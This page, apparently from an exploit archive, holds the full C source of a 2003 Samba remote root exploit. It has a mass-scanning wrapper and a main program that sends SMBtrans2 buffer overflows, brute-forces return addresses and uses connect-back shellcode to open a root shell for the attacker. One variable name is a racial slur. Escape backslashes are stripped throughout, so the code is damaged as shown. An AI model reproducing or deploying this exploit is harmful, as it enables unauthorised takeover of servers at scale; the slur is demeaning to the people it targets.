[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Samba 2.2.8 (Bruteforce Method) Remote Root Exploit
# Published : 2003-07-13
# Author : Schizoprenic
# Previous Title : MS Windows Media Services (nsiislog.dll) Remote Exploit
# Next Title : MS Windows WebDav III remote root Exploit (xwdav)
/*
* Mass Samba Exploit by Schizoprenic
* Xnuxer-Research (c) 2003
* This code just for eduction purpose
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
void usage(char *s)
{
printf("Usage: %s n",s);
exit(-1);
}
int main(int argc, char **argv)
{
printf("Mass Samba Exploit by Schizoprenicn");
if(argc != 3) usage(argv[0]);
scan(argv[1], argv[2]);
return 0;
}
int scan(char *fl, char *bind_ip)
{
FILE *nigger,*fstat;
char buf[512];
char cmd[100];
int i;
struct stat st;
if((nigger=fopen(fl,"r")) == NULL) {
fprintf(stderr,"File %s not found!n", fl);
return -1;
}
while(fgets(buf,512,nigger) != NULL)
{
if(buf[strlen(buf)-1]=='n') buf[strlen(buf)-1]=0;
for (i=0;i<4;i++) {
sprintf(cmd, "./smb %d %s %s", i, buf, bind_ip);
printf("nTrying get root %s use type %d ...n",buf,i);
system(cmd);
if (stat(".ROOT", &st) != -1) {
unlink(".ROOT");
break;
}
}
}
fclose(nigger);
printf("nMass exploiting finished.n");
}
/*
* Samba Remote Root Exploit by Schizoprenic from Xnuxer-Labs, 2003.
* Using connect back method and brute force mode.
* I just create & modify some code and ripped too :P
* Create on May, 12st 2003
*
* Thanks to eDSee (netric.org), Sambal is nice exploit bro...
* References: trans2root.pl, 0x333hate.c, sambal.c
* This code just for eduction purpose
*
* XNUXER RESEARCH LABORATORY
* Official Site: http://infosekuriti.com
* Contact Email: xnuxer@yahoo.com, xnuxer@hackermail.com
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
char
linux_connect_back[] =
/* fork(), execve sh -c [client] [host to bounce to], term=xterm */
"x31xc0x31xffxb0x02xcdx80x39xc7x74x7ex31xc0x50"
"x68x20x20x20x20x68x20x20x20x20x68x20x20x20x20"
"x68x20x20x20x20x68x20x20x20x20x68x20x20x20x20"
"x68x20x20x20x20x68x20x20x20x20x68x20x20x20x20"
"x68x20x20x20x20x68x20x20x20x20x89xe1x50x66x68"
"x2dx63x89xe3x50x66x68x73x68x89xe0x57x51x53x50"
"x89xe1x31xc0x50x66x68x72x6dx68x3dx78x74x65x68"
"x54x45x52x4dx89xe2x50x52x89xe2x57x68x6ex2fx73"
"x68x68x2fx2fx62x69x89xe3xb0x0bxcdx80x31xc0xb0"
"x01xcdx80"
/* connect back shellcode (port=0xb0ef) */
"x31xc0x31xdbx31xc9x51xb1x06x51xb1x01x51xb1x02x51"
"x89xe1xb3x01xb0x66xcdx80x89xc2x31xc0x31xc9x51x51"
"x68x41x42x43x44x66x68xb0xefxb1x02x66x51x89xe7xb3"
"x10x53x57x52x89xe1xb3x03xb0x66xcdx80x31xc9x39xc1"
"x74x06x31xc0xb0x01xcdx80x31xc0xb0x3fx89xd3xcdx80"
"x31xc0xb0x3fx89xd3xb1x01xcdx80x31xc0xb0x3fx89xd3"
"xb1x02xcdx80x31xc0x31xd2x50x68x6ex2fx73x68x68x2f"
"x2fx62x69x89xe3x50x53x89xe1xb0x0bxcdx80x31xc0xb0"
"x01xcdx80";
char
bsd_connect_back[] =
/* fork(), execve sh -c [client] [host to bounce to], term=xterm */
"x31xc0x31xffxb0x02xcdx80x39xc7x74x7ex31xc0x50"
"x68x20x20x20x20x68x20x20x20x20x68x20x20x20x20"
"x68x20x20x20x20x68x20x20x20x20x68x20x20x20x20"
"x68x20x20x20x20x68x20x20x20x20x68x20x20x20x20"
"x68x20x20x20x20x89xe1x50x66x68x2dx63x89xe3x50"
"x66x68x73x68x89xe0x57x51x53x50x89xe1x31xc0x50"
"x66x68x72x6dx68x3dx78x74x65x68x54x45x52x4dx89"
"xe2x50x52x89xe2x57x68x6ex2fx73x68x68x2fx2fx62"
"x69x89xe3x50x52x51x53x50xb0x3bxcdx80x31xc0xb0"
"x01xcdx80"
/* connect back shellcode (port=0xb0ef) */
"x31xc0x31xdbx53xb3x06x53xb3x01x53xb3x02x53x54xb0"
"x61xcdx80x31xd2x52x52x68x41x41x41x41x66x68xb0xef"
"xb7x02x66x53x89xe1xb2x10x52x51x50x52x89xc2x31xc0"
"xb0x62xcdx80x31xdbx39xc3x74x06x31xc0xb0x01xcdx80"
"x31xc0x50x52x50xb0x5axcdx80x31xc0x31xdbx43x53x52"
"x50xb0x5axcdx80x31xc0x43x53x52x50xb0x5axcdx80x31"
"xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x54"
"x53x50xb0x3bxcdx80x31xc0xb0x01xcdx80";
typedef struct {
unsigned char type;
unsigned char flags;
unsigned short length;
} NETBIOS_HEADER;
typedef struct {
unsigned char protocol[4];
unsigned char command;
unsigned short status;
unsigned char reserved;
unsigned char flags;
unsigned short flags2;
unsigned char pad[12];
unsigned short tid;
unsigned short pid;
unsigned short uid;
unsigned short mid;
} SMB_HEADER;
pid_t childs[50];
int LOOP = 1;
struct sockaddr_in serv_addr;
int sock_listen, client;
int exploit_pid;
int listen_pid;
int port_listen = 45295;
void
usage(char *prog)
{
int i;
fprintf(stdout, "Samba < 2.2.8 Remote Root exploit by Schizoprenicn"
"Connect back method, Xnuxer-Labs, 2003.n"
"Usage : %s n"
"Targets:n"
" 0 = Linuxn"
" 1 = FreeBSD/NetBSDn"
" 2 = OpenBSD 3.0 and priorn"
" 3 = OpenBSD 3.2 - non-exec stacknn", prog);
exit(1);
}
int
Connect(int fd, char *ip, unsigned int port, unsigned int time_out)
{
/* ripped from no1 */
int flags;
int select_status;
fd_set connect_read, connect_write;
struct timeval timeout;
int getsockopt_length = 0;
int getsockopt_error = 0;
struct sockaddr_in server;
bzero(&server, sizeof(server));
server.sin_family = AF_INET;
inet_pton(AF_INET, ip, &server.sin_addr);
server.sin_port = htons(port);
if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
close(fd);
return -1;
}
if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
close(fd);
return -1;
}
timeout.tv_sec = time_out;
timeout.tv_usec = 0;
FD_ZERO(&connect_read);
FD_ZERO(&connect_write);
FD_SET(fd, &connect_read);
FD_SET(fd, &connect_write);
if((connect(fd, (struct sockaddr *) &server, sizeof(server))) < 0) {
if(errno != EINPROGRESS) {
close(fd);
return -1;
}
}
else {
if(fcntl(fd, F_SETFL, flags) < 0) {
close(fd);
return -1;
}
return 1;
}
select_status = select(fd + 1, &connect_read, &connect_write, NULL, &timeout);
if(select_status == 0) {
close(fd);
return -1;
}
if(select_status == -1) {
close(fd);
return -1;
}
if(FD_ISSET(fd, &connect_read) || FD_ISSET(fd, &connect_write)) {
if(FD_ISSET(fd, &connect_read) && FD_ISSET(fd, &connect_write)) {
getsockopt_length = sizeof(getsockopt_error);
if(getsockopt(fd, SOL_SOCKET, SO_ERROR, &getsockopt_error, &getsockopt_length)
< 0) {
errno = ETIMEDOUT;
close(fd);
return -1;
}
if(getsockopt_error == 0) {
if(fcntl(fd, F_SETFL, flags) < 0) {
close(fd);
return -1;
}
return 1;
}
else {
errno = getsockopt_error;
close(fd);
return (-1);
}
}
}
else {
close(fd);
return 1;
}
if(fcntl(fd, F_SETFL, flags) < 0) {
close(fd);
return -1;
}
return 1;
}
int
read_timer(int fd, unsigned int time_out)
{
/* ripped from no1 */
int flags;
int select_status;
fd_set fdread;
struct timeval timeout;
if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
close(fd);
return (-1);
}
if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
close(fd);
return (-1);
}
timeout.tv_sec = time_out;
timeout.tv_usec = 0;
FD_ZERO(&fdread);
FD_SET(fd, &fdread);
select_status = select(fd + 1, &fdread, NULL, NULL, &timeout);
if(select_status == 0) {
close(fd);
return (-1);
}
if(select_status == -1) {
close(fd);
return (-1);
}
if(FD_ISSET(fd, &fdread)) {
if(fcntl(fd, F_SETFL, flags) < 0) {
close(fd);
return -1;
}
return 1;
}
else {
close(fd);
return 1;
}
}
int
write_timer(int fd, unsigned int time_out)
{
/* ripped from no1 */
int flags;
int select_status;
fd_set fdwrite;
struct timeval timeout;
if((flags = fcntl(fd, F_GETFL, 0)) < 0) {
close(fd);
return (-1);
}
if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {
close(fd);
return (-1);
}
timeout.tv_sec = time_out;
timeout.tv_usec = 0;
FD_ZERO(&fdwrite);
FD_SET(fd, &fdwrite);
select_status = select(fd + 1, NULL, &fdwrite, NULL, &timeout);
if(select_status == 0) {
close(fd);
return -1;
}
if(select_status == -1) {
close(fd);
return -1;
}
if(FD_ISSET(fd, &fdwrite)) {
if(fcntl(fd, F_SETFL, flags) < 0) {
close(fd);
return -1;
}
return 1;
}
else {
close(fd);
return -1;
}
}
int
start_session(int sock)
{
char buffer[1000];
char response[4096];
char session_data1[] = "x00xffx00x00x00x00x20x02x00x01x00x00x00x00";
char session_data2[] = "x00x00x00x00x5cx5cx69x70x63x24x25x6ex6fx62x6fx64x79"
"x00x00x00x00x00x00x00x49x50x43x24";
NETBIOS_HEADER *netbiosheader;
SMB_HEADER *smbheader;
memset(buffer, 0x00, sizeof(buffer));
netbiosheader = (NETBIOS_HEADER *)buffer;
smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
netbiosheader->type = 0x00; /* session message */
netbiosheader->flags = 0x00;
netbiosheader->length = htons(0x2E);
smbheader->protocol[0] = 0xFF;
smbheader->protocol[1] = 'S';
smbheader->protocol[2] = 'M';
smbheader->protocol[3] = 'B';
smbheader->command = 0x73; /* session setup */
smbheader->flags = 0x08; /* caseless pathnames */
smbheader->flags2 = 0x01; /* long filenames supported */
smbheader->pid = getpid() & 0xFFFF;
smbheader->uid = 100;
smbheader->mid = 0x01;
memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data1,
sizeof(session_data1) - 1);
if(write_timer(sock, 3) == 1)
if (send(sock, buffer, 50, 0) < 0) return -1;
memset(response, 0x00, sizeof(response));
if (read_timer(sock, 3) == 1)
if (read(sock, response, sizeof(response) - 1) < 0) return -1;
netbiosheader = (NETBIOS_HEADER *)response;
smbheader = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));
//if (netbiosheader->type != 0x00) fprintf(stderr, "+ Recieved a non session messagen");
netbiosheader = (NETBIOS_HEADER *)buffer;
smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
memset(buffer, 0x00, sizeof(buffer));
netbiosheader->type = 0x00; /* session message */
netbiosheader->flags = 0x00;
netbiosheader->length = htons(0x3C);
smbheader->protocol[0] = 0xFF;
smbheader->protocol[1] = 'S';
smbheader->protocol[2] = 'M';
smbheader->protocol[3] = 'B';
smbheader->command = 0x70; /* start connection */
smbheader->pid = getpid() & 0xFFFF;
smbheader->tid = 0x00;
smbheader->uid = 100;
memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data2, sizeof(session_data2)
- 1);
if(write_timer(sock, 3) == 1)
if (send(sock, buffer, 64, 0) < 0) return -1;
memset(response, 0x00, sizeof(response));
if (read_timer(sock, 3) == 1)
if (read(sock, response, sizeof(response) - 1) < 0) return -1;
netbiosheader = (NETBIOS_HEADER *)response;
smbheader = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));
if (netbiosheader->type != 0x00) return -1;
return 0;
}
int
exploit_normal(int sock, unsigned long ret, char *shellcode)
{
char buffer[4000];
char exploit_data[] =
"x00xd0x07x0cx00xd0x07x0cx00x00x00x00x00x00x00x00x00x00"
"x00xd0x07x43x00x0cx00x14x08x01x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x90";
int i = 0;
unsigned long dummy = ret - 0x90;
NETBIOS_HEADER *netbiosheader;
SMB_HEADER *smbheader;
memset(buffer, 0x00, sizeof(buffer));
netbiosheader = (NETBIOS_HEADER *)buffer;
smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
netbiosheader->type = 0x00; /* session message */
netbiosheader->flags = 0x04;
netbiosheader->length = htons(2096);
smbheader->protocol[0] = 0xFF;
smbheader->protocol[1] = 'S';
smbheader->protocol[2] = 'M';
smbheader->protocol[3] = 'B';
smbheader->command = 0x32; /* SMBtrans2 */
smbheader->tid = 0x01;
smbheader->uid = 100;
memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data),
0x90, 3000);
buffer[1096] = 0xEB;
buffer[1097] = 0x70;
for (i = 0; i < 4 * 24; i += 8) {
memcpy(buffer + 1099 + i, &dummy, 4);
memcpy(buffer + 1103 + i, &ret, 4);
}
memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
exploit_data, sizeof(exploit_data) - 1);
memcpy(buffer + 1800, shellcode, strlen(shellcode));
if(write_timer(sock, 3) == 1) {
if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
return 0;
}
return -1;
}
int
exploit_openbsd32(int sock, unsigned long ret, char *shellcode)
{
char buffer[4000];
char exploit_data[] =
"x00xd0x07x0cx00xd0x07x0cx00x00x00x00x00x00x00x00x00x00"
"x00xd0x07x43x00x0cx00x14x08x01x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x90";
int i = 0;
unsigned long dummy = ret - 0x30;
NETBIOS_HEADER *netbiosheader;
SMB_HEADER *smbheader;
memset(buffer, 0x00, sizeof(buffer));
netbiosheader = (NETBIOS_HEADER *)buffer;
smbheader = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));
netbiosheader->type = 0x00; /* session message */
netbiosheader->flags = 0x04;
netbiosheader->length = htons(2096);
smbheader->protocol[0] = 0xFF;
smbheader->protocol[1] = 'S';
smbheader->protocol[2] = 'M';
smbheader->protocol[3] = 'B';
smbheader->command = 0x32; /* SMBtrans2 */
smbheader->tid = 0x01;
smbheader->uid = 100;
memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data),
0x90, 3000);
for (i = 0; i < 4 * 24; i += 4)
memcpy(buffer + 1131 + i, &dummy, 4);
memcpy(buffer + 1127, &ret, 4);
memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),
exploit_data, sizeof(exploit_data) - 1);
memcpy(buffer + 1100 - strlen(shellcode), shellcode, strlen(shellcode));
if(write_timer(sock, 3) == 1) {
if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;
return 0;
}
return -1;
}
void shell(int sock)
{
fd_set fd_read;
char buff[1024], *cmd="uname -a;id;n";
int n;
send(sock, cmd, strlen(cmd), 0);
while(1) {
FD_SET(sock,&fd_read);
FD_SET(0,&fd_read);
if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
if( FD_ISSET(sock, &fd_read) ) {
n=read(sock,buff,sizeof(buff));
if (n == 0) {
printf ("Connection closed.n");
exit(EXIT_FAILURE);
} else if (n < 0) {
perror("read remote");
exit(EXIT_FAILURE);
}
write(1,buff,n);
}
if ( FD_ISSET(0, &fd_read) ) {
if((n=read(0,buff,sizeof(buff)))<=0){
perror ("read user");
exit(EXIT_FAILURE);
}
write(sock,buff,n);
}
}
close(sock);
}
void GoAway()
{
exit(0);
}
void start_listen()
{
FILE *fstat;
int cpid;
LISTENER:
bzero(&serv_addr, sizeof(serv_addr));
serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=0;
serv_addr.sin_port=htons(port_listen);
sock_listen=socket(2,1,6);
if(bind(sock_listen,(struct sockaddr *)&serv_addr,16))
{
port_listen++;
goto LISTENER;
}
if(listen(sock_listen,1))
{
perror("listen");
exit(1);
}
fprintf(stdout, "[+] Listen on port: %dn",port_listen);
cpid = fork();
if (cpid) {
client=accept(sock_listen,0,0);
LOOP = 0;
kill(SIGUSR2, exploit_pid);
if (client > 0) {
fprintf(stdout, "[+] Yeah, I have a root ....!n"
"------------------------------n");
fstat=fopen(".ROOT", "a"); //needed by mass.c
fclose(fstat);
shell(client);
}
exit(0);
}
}
int
main (int argc,char *argv[])
{
char *shellcode = NULL;
int typeos = -1;
int port = 139;
int sock = 0;
int i = 0;
int status = 0;
int m = 0;
int ip1 = 0;
int ip2 = 0;
int ip3 = 0;
int ip4 = 0;
int sta = 0;
int STEPS = 512;
int ENDLOOP = 64;
char *desc;
unsigned long MAX_CHILDS = 40;
unsigned long ret = 0x0;
unsigned short int a_port;
struct sockaddr_in addr1;
struct hostent *he;
struct stat st;
if (argc != 4) usage(argv[0]);
typeos = atoi(argv[1]);
if (typeos > 3) {
fprintf(stdout, "Os type out of list!n");
exit(1);
}
he = gethostbyname(argv[2]);
if (he == NULL) {
fprintf(stderr, "Unable to resolven");
return -1;
}
listen_pid = getpid();
start_listen();
exploit_pid = listen_pid + 1;
//fprintf(stdout, "[+] Listen pid: %d, exploit pid: %dn", listen_pid,exploit_pid);
sscanf(argv[3], "%d.%d.%d.%d", &ip1, &ip2, &ip3, &ip4);
linux_connect_back[171] = ip1; bsd_connect_back[162] = ip1;
linux_connect_back[172] = ip2; bsd_connect_back[163] = ip2;
linux_connect_back[173] = ip3; bsd_connect_back[164] = ip3;
linux_connect_back[174] = ip4; bsd_connect_back[165] = ip4;
fprintf(stdout, "[+] Connecting back to: [%d.%d.%d.%d:%d]n",
ip1, ip2, ip3, ip4, port_listen);
a_port = htons(port_listen);
linux_connect_back[177]= (a_port) & 0xff;
linux_connect_back[178]= (a_port >> 8) & 0xff;
bsd_connect_back[168]= (a_port) & 0xff;
bsd_connect_back[169]= (a_port >> 8) & 0xff;
switch(typeos) {
case 0:
desc = "Linux";
ret = 0xc0000000;
shellcode = linux_connect_back;
break;
case 1:
desc = "FreeBSD/NetBSD";
ret = 0xbfc00000;
shellcode = bsd_connect_back;
break;
case 2:
desc = "OpenBSD 3.1 and prior";
ret = 0xdfc00000;
shellcode = bsd_connect_back;
break;
case 3:
desc = "OpenBSD 3.2 non-exec stack";
ret = 0x00170000;
shellcode = bsd_connect_back;
break;
}
fprintf(stdout, "[+] Target: %sn", desc);
memcpy(&addr1.sin_addr, he->h_addr, he->h_length);
addr1.sin_family = AF_INET;
addr1.sin_port = htons(port);
fprintf(stdout, "[+] Connected to [%s:%d]n", (char *)inet_ntoa(addr1.sin_addr),
port);
fprintf(stdout, "[+] Please wait in seconds...!n");
signal(SIGUSR2, GoAway);
for (i = 0; i < 50; i++) childs[i] = -1;
i = 0; m = 0;
while (LOOP) {
if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
fprintf(stderr, "[+] socket() error.n");
exit(-1);
}
ret -= STEPS; i++;
if ((ret & 0xff) == 0x00 && typeos != 3) ret++;
m++;
//fflush(0);
//fprintf(stdout, "[+] Return Address: 0x%08x [%02d]n", (unsigned int)ret,
m);
usleep(150000);
switch (childs[i] = fork()) {
case 0:
if (connect(sock, (struct sockaddr *)&addr1, sizeof(addr1)) == -
1) {
//fprintf(stderr, "[+] connect() error.n");
close(sock);
exit(-1);
}
start_session(sock);
sleep(3);
if (typeos != 3) {
if (exploit_normal(sock, ret, shellcode) < 0) {
//fprintf(stderr, " -> Failed.n");
close(sock);
exit(-1);
}
} else {
if (exploit_openbsd32(sock, ret, shellcode) < 0) {
//fprintf(stderr, " -> Failed.n");
close(sock);
exit(-1);
}
}
sleep(5);
close(sock);
exit(0);
break;
case -1:
exit(-1);
break;
default:
if (i > MAX_CHILDS - 2) {
wait(&status);
i--;
}
break;
}
if (m == ENDLOOP) LOOP = 0;
}
if (stat(".ROOT", &st) != -1)
kill(SIGUSR2, listen_pid);
else {
fprintf(stdout, "[+] Dohh, exploit failed.n");
close(client); close(sock_listen);
kill(listen_pid, SIGUSR2);
sleep(2);
exit(0);
}
}
// www.Syue.com [2003-07-13]